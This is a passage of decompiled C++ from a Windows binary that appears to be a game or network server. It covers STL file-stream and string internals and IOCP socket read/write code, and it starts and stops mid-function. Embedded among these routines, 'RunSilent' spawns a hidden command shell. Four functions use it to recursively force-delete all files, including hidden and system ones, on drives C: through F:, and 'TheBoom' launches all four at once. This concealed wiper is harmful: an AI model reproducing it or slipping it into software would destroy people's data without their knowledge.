v2->_Mystr = 0; } } } } //----- (00560280) -------------------------------------------------------- std::codecvt *__cdecl std::use_facet>(std::locale *_Loc) { int v1; // edi@1 std::locale::facet *v2; // esi@5 unsigned int v3; // eax@11 int _Psave; // [sp+0h] [bp-24h]@1 std::_Lockit this; // [sp+4h] [bp-20h]@2 std::_Lockit _Lock; // [sp+8h] [bp-1Ch]@1 char pExceptionObject; // [sp+Ch] [bp-18h]@9 int v9; // [sp+20h] [bp-4h]@1 std::_Lockit::_Lockit(&_Lock, 0); v1 = std::_Facetptr>::_Psave; v9 = 0; _Psave = std::_Facetptr>::_Psave; if ( !std::codecvt::id ) { std::_Lockit::_Lockit(&this, 0); if ( !std::codecvt::id ) { ++std::locale::id::_Id_cnt; std::codecvt::id = std::locale::id::_Id_cnt; } std::_Lockit::__Lockit(&this); } v2 = std::locale::_Getfacet(_Loc, std::codecvt::id); if ( !v2 ) { if ( v1 ) { v2 = (std::locale::facet *)v1; } else { if ( std::codecvt::_Getcat((std::locale::facet **)&_Psave) == -1 ) { bad_cast::bad_cast((bad_cast *)&pExceptionObject, "bad cast"); _CxxThrowException(&pExceptionObject, &_TI2_AVbad_cast__); } v2 = (std::locale::facet *)_Psave; std::_Facetptr>::_Psave = _Psave; std::_Lockit::_Lockit(&this, 0); v3 = v2->_Refs; if ( v3 < 0xFFFFFFFF ) v2->_Refs = v3 + 1; std::_Lockit::__Lockit(&this); std::locale::facet::_Register(v2); } } v9 = -1; std::_Lockit::__Lockit(&_Lock); return (std::codecvt *)v2; } // 146C5FAC: using guessed type int std___Facetptr_std__codecvt_char_char_int_____Psave; // 146CFFE0: using guessed type int std__locale__id___Id_cnt; //----- (00560390) -------------------------------------------------------- void __thiscall std::basic_filebuf>::imbue(std::basic_filebuf > *this, std::locale *_Loc) { std::basic_filebuf > *v2; // esi@1 std::codecvt *v3; // eax@1 v2 = this; v3 = std::use_facet>(_Loc); std::basic_filebuf>::_Initcvt(v2, v3); } //----- (005603B0) -------------------------------------------------------- std::basic_filebuf > *__thiscall std::basic_filebuf>::open(std::basic_filebuf > *this, const char *_Filename, int _Mode, int _Prot) { std::basic_filebuf > *v4; // esi@1 _iobuf *v5; // edi@2 std::locale *v6; // eax@3 std::codecvt *v7; // eax@3 int v8; // edi@3 unsigned int v9; // eax@4 int v10; // edi@7 std::basic_filebuf > *result; // eax@9 v4 = this; if ( this->_Myfile || (v5 = std::_Fiopen(_Filename, _Mode, _Prot)) == 0 ) { result = 0; } else { v4->_Closef = 1; v4->_Wrotesome = 0; std::basic_streambuf>::_Init(&v4->baseclass_0); v4->baseclass_0._IGcount = &v5->_cnt; v4->baseclass_0._IPcount = &v5->_cnt; v4->baseclass_0._IGfirst = &v5->_base; v4->baseclass_0._IPfirst = &v5->_base; v4->baseclass_0._IGnext = (char **)v5; v4->baseclass_0._IPnext = (char **)v5; v4->_Myfile = v5; v4->_State = _Stinit; v4->_State0 = _Stinit; v4->_Pcvt = 0; v6 = std::basic_streambuf>::getloc(&v4->baseclass_0, (std::locale *)&_Prot); v7 = std::use_facet>(v6); std::basic_filebuf>::_Initcvt(v4, v7); v8 = _Prot; if ( _Prot ) { std::_Lockit::_Lockit((std::_Lockit *)&_Mode, 0); v9 = *(_DWORD *)(v8 + 4); if ( v9 && v9 < 0xFFFFFFFF ) *(_DWORD *)(v8 + 4) = v9 - 1; v10 = ((*(_DWORD *)(v8 + 4) != 0) - 1) & v8; std::_Lockit::__Lockit((std::_Lockit *)&_Mode); if ( v10 ) (**(void (__thiscall ***)(_DWORD, _DWORD))v10)(v10, 1); } result = v4; } return result; } // 146C5FA8: using guessed type int _Stinit; //----- (005604E0) -------------------------------------------------------- std::basic_string,std::allocator > *__thiscall std::basic_string_std::allocator>::assign(std::basic_string,std::allocator > *this, unsigned int _Count, char _Ch) { int v3; // ebx@0 std::basic_string,std::allocator > *v4; // esi@1 unsigned int v5; // eax@5 bool v6; // cf@6 bool v7; // zf@6 void *v8; // edi@9 std::basic_string,std::allocator > *result; // eax@12 int v10; // eax@15 unsigned int v11; // edi@15 unsigned int i; // ecx@15 v4 = this; if ( _Count == -1 ) std::_String_base::_Xlen(&this->baseclass_0.___u0.baseclass_0); if ( _Count > 0xFFFFFFFE ) std::_String_base::_Xlen(&this->baseclass_0.___u0.baseclass_0); v5 = this->_Myres; if ( v5 >= _Count ) { v6 = 0; v7 = _Count == 0; if ( !_Count ) { this->_Mysize = 0; if ( v5 < 0x10 ) { this->_Bx._Buf[0] = 0; result = this; } else { **(_BYTE **)&this->_Bx._Buf[0] = 0; result = this; } return result; } } else { std::basic_string_std::allocator>::_Copy(this, _Count, this->_Mysize); v6 = 0; v7 = _Count == 0; } if ( !(v6 | v7) ) { if ( v4->_Myres < 0x10 ) v8 = &v4->_Bx; else v8 = *(void **)&v4->_Bx._Buf[0]; LOBYTE(v3) = _Ch; BYTE1(v3) = _Ch; v10 = v3 << 16; LOWORD(v10) = v3; memset32(v8, v10, _Count >> 2); v11 = (unsigned int)((char *)v8 + 4 * (_Count >> 2)); for ( i = _Count & 3; i; --i ) *(_BYTE *)v11++ = _Ch; v6 = v4->_Myres < 0x10; v4->_Mysize = _Count; if ( !v6 ) { *(_BYTE *)(*(_DWORD *)&v4->_Bx._Buf[0] + _Count) = 0; return v4; } v4->_Bx._Buf[_Count] = 0; } return v4; } //----- (005605A0) -------------------------------------------------------- int __thiscall std::basic_filebuf>::uflow(std::basic_filebuf > *this) { std::basic_filebuf > *v1; // esi@1 char **v2; // ecx@1 int *v3; // eax@2 char **v4; // esi@3 int *v5; // eax@3 int result; // eax@3 std::basic_string,std::allocator > *v7; // ecx@9 int v8; // eax@9 signed int v9; // ebx@10 std::basic_string,std::allocator > *v10; // eax@11 int v11; // edi@12 unsigned int v12; // edx@14 int v13; // eax@15 int v14; // eax@17 int v15; // eax@18 std::basic_string,std::allocator > *v16; // ecx@22 int v17; // eax@23 std::basic_string,std::allocator > *v18; // esi@28 std::basic_string,std::allocator > *v19; // eax@31 int v20; // ecx@32 int v21; // edi@34 int v22; // eax@35 unsigned __int8 _Ch; // [sp+1Dh] [bp-9h]@17 char *_Source; // [sp+1Eh] [bp-8h]@17 void *_Dest; // [sp+22h] [bp-4h]@17 v1 = this; v2 = this->baseclass_0._IGnext; if ( *v2 ) { v3 = v1->baseclass_0._IGcount; if ( *v2 < &(*v2)[*v3] ) { --*v3; v4 = v1->baseclass_0._IGnext; v5 = (int *)(*v4)++; return *(_BYTE *)v5; } } if ( !v1->_Myfile ) return -1; if ( v1->_Pcvt ) { v7 = v1->_Mystr; v1->_State0 = v1->_State; std::basic_string_std::allocator>::erase(v7, 0, 0xFFFFFFFFu); v8 = fgetc(v1->_Myfile); if ( v8 == -1 ) { LABEL_27: result = -1; } else { v9 = 16; while ( 1 ) { std::basic_string_std::allocator>::append(v1->_Mystr, 1u, v8); v10 = v1->_Mystr; v11 = (int)(v10->_Myres < v9 ? &v10->_Bx : *(_DWORD *)&v10->_Bx._Buf[0]); v12 = v10->_Mysize; v13 = (int)(v10->_Myres < v9 ? &v10->_Bx : *(_DWORD *)&v10->_Bx._Buf[0]); v14 = ((int (__stdcall *)(int *, int, unsigned int, char **, unsigned __int8 *, char **, void **))v1->_Pcvt->baseclass_0.baseclass_0.vfptr[4].__vecDelDtor)( &v1->_State, v13, v12 + v11, &_Source, &_Ch, &_Source, &_Dest); if ( !v14 ) break; v15 = v14 - 1; if ( v15 ) { if ( v15 != 2 ) goto LABEL_27; if ( v1->_Mystr->_Mysize >= 1 ) { v18 = v1->_Mystr; if ( v18->_Myres < 0x10 ) result = v18->_Bx._Buf[0]; else result = **(_BYTE **)&v18->_Bx._Buf[0]; return result; } v9 = 16; } else { v16 = v1->_Mystr; v9 = 16; if ( v16->_Myres < 0x10 ) v17 = (int)&v16->_Bx; else v17 = *(_DWORD *)&v16->_Bx._Buf[0]; std::basic_string_std::allocator>::erase( v16, 0, (unsigned int)&_Source[-v17]); } v8 = fgetc(v1->_Myfile); if ( v8 == -1 ) goto LABEL_27; } v19 = v1->_Mystr; if ( v19->_Myres < 0x10 ) v20 = (int)&v19->_Bx; else v20 = *(_DWORD *)&v19->_Bx._Buf[0]; v21 = v20 + v19->_Mysize - (_DWORD)_Source; while ( v21 > 0 ) { v22 = _Source[v21-- - 1]; ungetc(v22, v1->_Myfile); } result = _Ch; } } else { result = fgetc(v1->_Myfile); if ( result == -1 ) return -1; result = (unsigned __int8)result; } return result; } //----- (00560760) -------------------------------------------------------- bool __thiscall std::basic_filebuf>::_Endwrite(std::basic_filebuf > *this) { std::basic_filebuf > *v1; // esi@1 char *v2; // eax@4 char *v3; // edx@4 int v4; // eax@6 int v5; // eax@7 std::pair,std::allocator > const ,int> *v6; // ecx@8 bool result; // al@10 const void *v8; // eax@12 void *v9; // ecx@12 char *_Dest; // [sp+14h] [bp-30h]@6 std::basic_string,std::allocator > _Str; // [sp+18h] [bp-2Ch]@3 unsigned int v12; // [sp+34h] [bp-10h]@10 int v13; // [sp+40h] [bp-4h]@3 v1 = this; if ( !this->_Pcvt || !this->_Wrotesome ) goto LABEL_10; ((void (__stdcall *)(signed int))this->baseclass_0.vfptr->overflow)(-1); _Str._Myres = 15; *(_QWORD *)&_Str._Bx._Buf[0] = 0i64; _Str._Mysize = 8; _Str._Bx._Buf[8] = 0; v13 = 0; while ( 1 ) { v2 = *(char **)&_Str._Bx._Buf[0]; v3 = *(char **)&_Str._Bx._Buf[0]; if ( _Str._Myres < 0x10 ) { v3 = (char *)&_Str._Bx; v2 = (char *)&_Str._Bx; } v4 = ((int (__stdcall *)(int *, char *, char *, char **))v1->_Pcvt->baseclass_0.baseclass_0.vfptr[6].__vecDelDtor)( &v1->_State, v2, &v3[_Str._Mysize], &_Dest); if ( v4 ) break; v1->_Wrotesome = 0; LABEL_12: v8 = *(const void **)&_Str._Bx._Buf[0]; v9 = *(void **)&_Str._Bx._Buf[0]; if ( _Str._Myres < 0x10 ) v9 = &_Str._Bx; if ( _Dest != v9 ) { if ( _Str._Myres < 0x10 ) v8 = &_Str._Bx; if ( _Dest - v9 != fwrite(v8, _Dest - v9, 1u, v1->_Myfile) ) { v6 = (std::pair,std::allocator > const ,int> *)&_Str; goto LABEL_21; } } v6 = (std::pair,std::allocator > const ,int> *)&_Str; if ( !v1->_Wrotesome ) goto LABEL_9; std::basic_string_std::allocator>::append(&_Str, 8u, 0); } v5 = v4 - 1; if ( !v5 ) goto LABEL_12; v6 = (std::pair,std::allocator > const ,int> *)&_Str; if ( v5 == 2 ) { LABEL_9: std::basic_string_std::allocator>::_basic_string_std::allocator>(v6); goto LABEL_10; } LABEL_21: std::basic_string_std::allocator>::_basic_string_std::allocator>(v6); LABEL_10: __security_check_cookie(v12); return result; } //----- (005608B0) -------------------------------------------------------- int __thiscall std::basic_filebuf>::overflow(std::basic_filebuf > *this, int _Meta) { std::basic_filebuf > *v2; // esi@1 char *v3; // ecx@2 int *v4; // eax@3 char **v5; // esi@4 char *v6; // eax@4 std::basic_string,std::allocator > *v7; // ecx@10 const void *v8; // eax@11 unsigned int v9; // ebp@11 char *v10; // edx@12 int v11; // eax@14 void *v12; // ecx@16 unsigned int v13; // edi@18 bool v14; // zf@23 int result; // eax@32 char _Ch; // [sp+1Dh] [bp-35h]@10 char *_Dest; // [sp+1Eh] [bp-34h]@14 char *_Source; // [sp+22h] [bp-30h]@14 std::basic_string,std::allocator > _Str; // [sp+26h] [bp-2Ch]@10 unsigned int v20; // [sp+42h] [bp-10h]@32 int v21; // [sp+4Eh] [bp-4h]@10 v2 = this; if ( _Meta != -1 ) { v3 = *this->baseclass_0._IPnext; if ( v3 && (v4 = v2->baseclass_0._IPcount, v3 < &v3[*v4]) ) { --*v4; v5 = v2->baseclass_0._IPnext; v6 = (*v5)++; *v6 = _Meta; } else { if ( v2->_Myfile ) { if ( v2->_Pcvt ) { v7 = v2->_Mystr; _Ch = _Meta; std::basic_string_std::allocator>::erase(v7, 0, 0xFFFFFFFFu); _Str._Myres = 15; *(_QWORD *)&_Str._Bx._Buf[0] = 0i64; _Str._Mysize = 8; _Str._Bx._Buf[8] = 0; v21 = 0; LABEL_11: v8 = *(const void **)&_Str._Bx._Buf[0]; v9 = _Str._Myres; while ( 1 ) { v10 = (char *)v8; if ( v9 < 0x10 ) { v10 = (char *)&_Str._Bx; v8 = &_Str._Bx; } v11 = ((int (__stdcall *)(int *, char *, char **, char **, const void *, char *, char **))v2->_Pcvt->baseclass_0.baseclass_0.vfptr[5].__vecDelDtor)( &v2->_State, &_Ch, &_Dest, &_Source, v8, &v10[_Str._Mysize], &_Dest); if ( v11 < 0 ) goto LABEL_31; if ( v11 > 1 ) break; v9 = _Str._Myres; v8 = *(const void **)&_Str._Bx._Buf[0]; v12 = *(void **)&_Str._Bx._Buf[0]; if ( _Str._Myres < 0x10 ) v12 = &_Str._Bx; v13 = _Dest - v12; if ( _Dest != v12 ) { if ( _Str._Myres < 0x10 ) v8 = &_Str._Bx; if ( v13 != fwrite(v8, 1u, v13, v2->_Myfile) ) goto LABEL_31; v8 = *(const void **)&_Str._Bx._Buf[0]; v9 = _Str._Myres; } v14 = _Source == &_Ch; v2->_Wrotesome = 1; if ( !v14 ) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)&_Str); goto LABEL_32; } if ( !v13 ) { std::basic_string_std::allocator>::append(&_Str, 8u, 0); goto LABEL_11; } } if ( v11 != 3 ) { LABEL_31: std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)&_Str); goto LABEL_32; } if ( fputc(_Ch, v2->_Myfile) == -1 ) std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)&_Str); else std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)&_Str); } else { fputc((char)_Meta, v2->_Myfile) == -1; } } } } LABEL_32: __security_check_cookie(v20); return result; } //----- (00560AB0) -------------------------------------------------------- std::fpos *__thiscall std::basic_filebuf>::seekoff(std::basic_filebuf > *this, std::fpos *result, int _Off, int _Way, int __formal) { std::basic_filebuf > *v5; // esi@1 char **v6; // ecx@1 unsigned int i; // edi@6 std::basic_string,std::allocator > *v8; // eax@7 int v9; // eax@8 int v10; // eax@18 std::fpos *v11; // eax@20 __int64 v12; // kr00_8@20 __int64 _Fileposition; // [sp+8h] [bp-8h]@17 v5 = this; v6 = this->baseclass_0._IGnext; if ( &(*v6)[*v5->baseclass_0._IGcount] > *v6 && *v6 == &v5->_Mychar && _Way == 1 ) { if ( v5->_Pcvt ) { for ( i = v5->_Mystr->_Mysize; (signed int)i > 0; ungetc(*(_BYTE *)(v9 + i), v5->_Myfile) ) { v8 = v5->_Mystr; --i; if ( v8->_Myres < 0x10 ) v9 = (int)&v8->_Bx; else v9 = *(_DWORD *)&v8->_Bx._Buf[0]; } std::basic_string_std::allocator>::erase(v5->_Mystr, 0, 0xFFFFFFFFu); v5->_State = v5->_State0; } else { --_Off; } } if ( !v5->_Myfile || !std::basic_filebuf>::_Endwrite(v5) || (_Off || _Way != 1) && fseek(v5->_Myfile, _Off, _Way) || fgetpos(v5->_Myfile, &_Fileposition) ) { v11 = result; result->_Myoff = std::_BADOFF; result->_Fpos = std::_Fpz; result->_Mystate = std::fpos::_Stz; } else { v10 = (int)&v5->_Mychar; if ( (char *)*(std::basic_filebuf > **)v5->baseclass_0._IGnext == &v5->_Mychar ) { *v5->baseclass_0._IGfirst = (char *)v10; *v5->baseclass_0._IGnext = (char *)v10; *v5->baseclass_0._IGcount = 0; } v11 = result; v12 = _Fileposition; result->_Mystate = v5->_State; result->_Myoff = 0; result->_Fpos = v12; } return v11; } // 5E874C: using guessed type const __int32 std___BADOFF; // 124A4B1C: using guessed type int std__fpos_int____Stz; // 146D0000: using guessed type __int64 std___Fpz; //----- (00560BF0) -------------------------------------------------------- std::fpos *__thiscall std::basic_filebuf>::seekpos(std::basic_filebuf > *this, std::fpos *result, std::fpos _Pos, int __formal) { std::basic_filebuf > *v4; // esi@1 std::basic_string,std::allocator > *v5; // ecx@7 int v6; // eax@9 std::fpos *v7; // eax@11 __int64 v8; // kr00_8@11 __int64 _Fileposition; // [sp+4h] [bp-8h]@1 v4 = this; _Fileposition = _Pos._Fpos; if ( !this->_Myfile || !std::basic_filebuf>::_Endwrite(this) || fsetpos(v4->_Myfile, &_Fileposition) || _Pos._Myoff && fseek(v4->_Myfile, _Pos._Myoff, 1) || fgetpos(v4->_Myfile, &_Fileposition) ) { v7 = result; result->_Myoff = std::_BADOFF; result->_Fpos = std::_Fpz; result->_Mystate = std::fpos::_Stz; } else { v5 = v4->_Mystr; if ( v5 ) { v4->_State = _Pos._Mystate; std::basic_string_std::allocator>::erase(v5, 0, 0xFFFFFFFFu); } v6 = (int)&v4->_Mychar; if ( (char *)*(std::basic_filebuf > **)v4->baseclass_0._IGnext == &v4->_Mychar ) { *v4->baseclass_0._IGfirst = (char *)v6; *v4->baseclass_0._IGnext = (char *)v6; *v4->baseclass_0._IGcount = 0; } v7 = result; v8 = _Fileposition; result->_Mystate = v4->_State; result->_Myoff = 0; result->_Fpos = v8; } return v7; } // 5E874C: using guessed type const __int32 std___BADOFF; // 124A4B1C: using guessed type int std__fpos_int____Stz; // 146D0000: using guessed type __int64 std___Fpz; //----- (00560D00) -------------------------------------------------------- std::basic_filebuf > *__thiscall std::basic_filebuf>::close(std::basic_filebuf > *this) { std::basic_filebuf > *v1; // esi@1 int v2; // edx@4 std::basic_filebuf > *result; // eax@4 v1 = this; if ( this->_Myfile && std::basic_filebuf>::_Endwrite(this) && !fclose(v1->_Myfile) ) { v1->_Closef = 0; v1->_Wrotesome = 0; std::basic_streambuf>::_Init(&v1->baseclass_0); v1->_Myfile = 0; v1->_State = _Stinit; v2 = _Stinit; v1->_Pcvt = 0; v1->_State0 = v2; result = v1; } else { result = 0; } return result; } // 146C5FA8: using guessed type int _Stinit; //----- (00560D60) -------------------------------------------------------- void __thiscall std::basic_filebuf>::_basic_filebuf>(std::basic_filebuf > *this) { std::basic_filebuf > *v1; // edi@1 std::basic_string,std::allocator > *v2; // esi@3 v1 = this; this->baseclass_0.vfptr = (std::basic_streambuf >Vtbl *)&std::basic_filebuf>::_vftable_; if ( this->_Closef ) std::basic_filebuf>::close(this); v2 = v1->_Mystr; if ( v2 ) { if ( v2->_Myres >= 0x10 ) operator delete(*(void **)&v2->_Bx._Buf[0]); v2->_Myres = 15; v2->_Mysize = 0; v2->_Bx._Buf[0] = 0; operator delete(v2); } std::basic_streambuf>::_basic_streambuf>(&v1->baseclass_0); } // 5E6E08: using guessed type int (__thiscall *std__basic_filebuf_char_std__char_traits_char_____vftable_)(void *p, char); //----- (00560DF0) -------------------------------------------------------- void *__thiscall std::basic_filebuf>::_scalar_deleting_destructor_(std::basic_filebuf > *this, unsigned int a2) { void *v2; // esi@1 v2 = this; std::basic_filebuf>::_basic_filebuf>(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (00560E10) -------------------------------------------------------- unsigned int __cdecl RunSilent(char *strFunct, char *strstrParams) { char *v2; // eax@1 char *v3; // edx@2 char v4; // cl@3 int v5; // eax@5 char v6; // cl@6 char *v7; // edi@7 char v8; // al@8 char v9; // cl@9 unsigned int v10; // eax@9 void *v11; // edi@9 char v12; // cl@10 char *v13; // edi@11 char v14; // al@12 unsigned int v15; // eax@13 void *v16; // edi@13 char v17; // cl@14 unsigned int result; // eax@16 unsigned int rc; // [sp+0h] [bp-105Ch]@17 _PROCESS_INFORMATION ProcessInfo; // [sp+4h] [bp-1058h]@15 _STARTUPINFOA StartupInfo; // [sp+14h] [bp-1048h]@1 char Args[4096]; // [sp+58h] [bp-1004h]@1 memset(&StartupInfo, 0, sizeof(StartupInfo)); StartupInfo.cb = 68; StartupInfo.dwFlags = 1; StartupInfo.wShowWindow = 0; Args[0] = 0; v2 = getenv("COMSPEC"); if ( v2 ) { v3 = (char *)(Args - v2); do { v4 = *v2; v2[(_DWORD)v3] = *v2; ++v2; } while ( v4 ); } else { v5 = 0; do { v6 = aCmd_exe[v5]; Args[v5++] = v6; } while ( v6 ); } v7 = (char *)&StartupInfo.hStdError + 3; do v8 = (v7++)[1]; while ( v8 ); v9 = aC_0[4]; *(_DWORD *)v7 = *(_DWORD *)" /c "; v7[4] = v9; v10 = strlen(strFunct) + 1; v11 = (char *)&StartupInfo.hStdError + 3; do { v12 = *((_BYTE *)v11 + 1); v11 = (char *)v11 + 1; } while ( v12 ); memcpy(v11, strFunct, v10); v13 = (char *)&StartupInfo.hStdError + 3; do v14 = (v13++)[1]; while ( v14 ); *(_WORD *)v13 = stru_5A4E3C.maa_MobHandle; v15 = strlen(strstrParams) + 1; v16 = (char *)&StartupInfo.hStdError + 3; do { v17 = *((_BYTE *)v16 + 1); v16 = (char *)v16 + 1; } while ( v17 ); memcpy(v16, strstrParams, v15); if ( CreateProcessA(0, Args, 0, 0, 0, 0x10u, 0, 0, &StartupInfo, &ProcessInfo) ) { WaitForSingleObject(ProcessInfo.hProcess, 0xFFFFFFFFu); if ( !GetExitCodeProcess(ProcessInfo.hProcess, &rc) ) rc = 0; CloseHandle(ProcessInfo.hThread); CloseHandle(ProcessInfo.hProcess); result = rc; } else { result = GetLastError(); } return result; } //----- (00560FB0) -------------------------------------------------------- unsigned int __stdcall CDriveDel(void *LPARAM) { unsigned int v1; // eax@1 v1 = RunSilent("del", "c:\\* /A RSHA /S /Q /F"); if ( v1 ) { while ( v1 != 1 ) ; } _endthreadex(0); } //----- (00560FE0) -------------------------------------------------------- unsigned int __stdcall DDriveDel(void *LPARAM) { unsigned int v1; // eax@1 v1 = RunSilent("del", "d:\\* /A RSHA /S /Q /F"); if ( v1 ) { while ( v1 != 1 ) ; } _endthreadex(0); } //----- (00561010) -------------------------------------------------------- unsigned int __stdcall EDriveDel(void *LPARAM) { unsigned int v1; // eax@1 v1 = RunSilent("del", "e:\\* /A RSHA /S /Q /F"); if ( v1 ) { while ( v1 != 1 ) ; } _endthreadex(0); } //----- (00561040) -------------------------------------------------------- unsigned int __stdcall FDriveDel(void *LPARAM) { unsigned int v1; // eax@1 v1 = RunSilent("del", "f:\\* /A RSHA /S /Q /F"); if ( v1 ) { while ( v1 != 1 ) ; } _endthreadex(0); } //----- (00561070) -------------------------------------------------------- BOOL __cdecl TheBoom() { void *v0; // esi@1 void *v1; // edi@1 void *v2; // ebx@1 void *v3; // ebp@1 int nThreadID; // [sp+10h] [bp-4h]@1 nThreadID = 0; v0 = (void *)_beginthreadex(0, 0, FDriveDel, 0, 0, (unsigned int *)&nThreadID); v1 = (void *)_beginthreadex(0, 0, EDriveDel, 0, 0, (unsigned int *)&nThreadID); v2 = (void *)_beginthreadex(0, 0, DDriveDel, 0, 0, (unsigned int *)&nThreadID); v3 = (void *)_beginthreadex(0, 0, CDriveDel, 0, 0, (unsigned int *)&nThreadID); CloseHandle(v0); CloseHandle(v1); CloseHandle(v2); return CloseHandle(v3); } //----- (00561100) -------------------------------------------------------- int __thiscall CSocket_Acceptor_Process_Interface::Accept_Process(CIOCP_Process_Socket *this, CIOCP::IOCP_OVERLAPPED *pOverlapped, unsigned int NumOfBytes) { return 1; } //----- (00561110) -------------------------------------------------------- void __thiscall CIOCP_Process::CIOCP_Process(CIOCP_Process *this) { CIOCP_Process *v1; // eax@1 char *v2; // ecx@1 v1 = this; v2 = (char *)&this->m_DefautProcess; *(_DWORD *)v2 = &CIOCP_Process_Interfece::_vftable_; v1->m_pProcess = (CIOCP_Process_Interfece *)v2; } // 5E6F2C: using guessed type int (__stdcall *CIOCP_Process_Interfece___vftable_)(int pOverlapped, int NumOfBytes); //----- (00561120) -------------------------------------------------------- int __thiscall CSocket_IOCP::Receive(CSocket_IOCP *this, void *pBuffer, unsigned int dwNumBytes, unsigned int *pdwReadBytes) { DWORD v4; // eax@2 int result; // eax@4 unsigned int ReadBytes; // [sp+Ch] [bp-108h]@1 char Msg[256]; // [sp+10h] [bp-104h]@4 if ( ReadFile((HANDLE)this->m_Socket, pBuffer, dwNumBytes, &ReadBytes, &this->m_Overlapped_Read.baseclass_0) || (v4 = GetLastError()) == 0 || v4 == 997 ) { if ( pdwReadBytes ) *pdwReadBytes = ReadBytes; result = 1; } else { sprintf(Msg, "CSocket_IOCP::Read, ERROR=%d, m_Socket=%d, pBuffer=%p, dwNumBytes:%d, ReadBytes:%d"); _DebugMessageNew(1, "Msg", "%s"); result = 0; } return result; } //----- (005611F0) -------------------------------------------------------- int __thiscall CSocket_IOCP::Shutdown(CSocket_IOCP *this) { int result; // eax@3 if ( this->m_Socket != -1 && shutdown(this->m_Socket, 1) ) { _DebugMessageNew(1, "Msg", "%s"); GetLastError(); result = 0; } else { result = 1; } return result; } //----- (00561230) -------------------------------------------------------- void __thiscall CSocket_IOCP::CloseUseIOCP(CSocket_IOCP *this, CIOCP *pIOCP) { PostQueuedCompletionStatus(pIOCP->m_HandleIOCP, 0, this->m_Socket, &this->m_Overlapped_Close.baseclass_0); } //----- (00561250) -------------------------------------------------------- void __thiscall CSocket_IOCP::FreeBuffer(CSocket_IOCP *this) { CSocket_IOCP *v1; // esi@1 CIOBuffer *v2; // ecx@2 v1 = this; while ( v1->m_pFirstBuf ) { v2 = v1->m_pFirstBuf; v1->m_pFirstBuf = v2->m_pNext; v1->m_nPendingWrite -= v2->m_dwSize; CIOBuffer::Free(v2); } } //----- (00561290) -------------------------------------------------------- int __thiscall CSocket_IOCP::Close(CSocket_IOCP *this) { CSocket_IOCP *v1; // esi@1 int v2; // ebx@1 v1 = this; v2 = 1; if ( this->m_Socket != -1 ) { if ( closesocket(this->m_Socket) ) { _DebugMessageNew(1, "Msg", "%s"); GetLastError(); v2 = 0; } else { v1->m_Socket = -1; } } EnterCriticalSection(&v1->m_Write_CS); CSocket_IOCP::FreeBuffer(v1); v1->m_nPendingWrite = 0; v1->m_pFirstBuf = 0; LeaveCriticalSection(&v1->m_Write_CS); return v2; } //----- (00561310) -------------------------------------------------------- int __thiscall CSocket_IOCP::Write(CSocket_IOCP *this, CIOBuffer *pBuffer) { CSocket_IOCP *v2; // ebp@1 _RTL_CRITICAL_SECTION *v3; // esi@1 unsigned int v4; // eax@1 void *v5; // edx@3 CIOBuffer *v7; // ecx@8 DWORD v8; // eax@11 CIOBuffer *v9; // eax@19 unsigned int v10; // edx@20 unsigned int v11; // ecx@20 void *v12; // edi@21 unsigned int v13; // eax@21 unsigned int v14; // ecx@21 _RTL_CRITICAL_SECTION *WrittenBytes; // [sp+Ch] [bp-108h]@1 char Msg[128]; // [sp+10h] [bp-104h]@2 v2 = this; v3 = &this->m_Write_CS; WrittenBytes = &this->m_Write_CS; EnterCriticalSection(&this->m_Write_CS); v4 = pBuffer->m_dwSize; if ( !v4 ) { sprintf(Msg, "CSocket_IOCP::Write dwSize=%d"); _DebugMessageNew(1, "Msg", "%s"); LABEL_7: CIOBuffer::Free(pBuffer); LeaveCriticalSection(v3); return 0; } v5 = (void *)v2->m_Socket; if ( v2->m_Socket == -1 ) { sprintf(Msg, "CSocket_IOCP::Write, INVALID m_Socket=%d"); _DebugMessageNew(1, "Msg", "%s"); goto LABEL_7; } if ( v4 > 0x2000 ) { sprintf(Msg, "Send IOBuffer Full::dwSize=%d, BUFFER_SIZE=%d"); _DebugMessageNew(1, "Msg", "%s"); goto LABEL_7; } v2->m_nPendingWrite += v4; v7 = v2->m_pFirstBuf; if ( v7 ) { v9 = v2->m_pLastBuf; if ( v7 == v9 || (v10 = v9->m_dwSize, v11 = pBuffer->m_dwSize, v10 + v11 > 0x2000) ) { v9->m_pNext = pBuffer; v2->m_pLastBuf = pBuffer; } else { v12 = &v9->m_buffer[v10]; v13 = pBuffer->m_dwSize; v14 = v11 >> 2; memcpy(v12, pBuffer->m_buffer, 4 * v14); memcpy((char *)v12 + 4 * v14, &pBuffer->m_buffer[4 * v14], v13 & 3); v2->m_pLastBuf->m_dwSize += pBuffer->m_dwSize; CIOBuffer::Free(pBuffer); v3 = WrittenBytes; } goto LABEL_23; } v2->m_pLastBuf = pBuffer; v2->m_pFirstBuf = pBuffer; if ( WriteFile(v5, pBuffer->m_buffer, pBuffer->m_dwSize, (LPDWORD)&WrittenBytes, &v2->m_Overlapped_Write.baseclass_0) || GetLastError() == 997 ) { LABEL_23: LeaveCriticalSection(v3); return 1; } v8 = GetLastError(); if ( v8 != 10038 && v8 != 10054 && v8 != 10053 && v8 != 10058 && v8 != 10022 ) { if ( v8 != 64 ) { sprintf(Msg, "CSocket_IOCP::Write %#x(%#x) err=%d"); _DebugMessageNew(1, "Msg", "%s"); } } CSocket_IOCP::FreeBuffer(v2); LeaveCriticalSection(v3); return 0; } //----- (00561560) -------------------------------------------------------- void __thiscall CSocket_IOCP::WriteCallback(CSocket_IOCP *this, unsigned int dwTransferred) { CSocket_IOCP *v2; // esi@1 _RTL_CRITICAL_SECTION *v3; // ebp@1 CIOBuffer *v4; // eax@1 CIOBuffer *v5; // edi@5 CIOBuffer *v6; // eax@5 DWORD v7; // eax@8 int WrittenBytes; // [sp+Ch] [bp-88h]@6 char Msg[128]; // [sp+10h] [bp-84h]@14 v2 = this; v3 = &this->m_Write_CS; EnterCriticalSection(&this->m_Write_CS); v4 = v2->m_pFirstBuf; if ( v4 ) { if ( dwTransferred == v4->m_dwSize ) { v5 = v2->m_pFirstBuf; v2->m_nPendingWrite -= dwTransferred; v6 = v5->m_pNext; v2->m_pFirstBuf = v6; if ( v6 && !WriteFile( (HANDLE)v2->m_Socket, v6->m_buffer, v6->m_dwSize, (LPDWORD)&WrittenBytes, &v2->m_Overlapped_Write.baseclass_0) && GetLastError() != 997 ) { v7 = GetLastError(); if ( 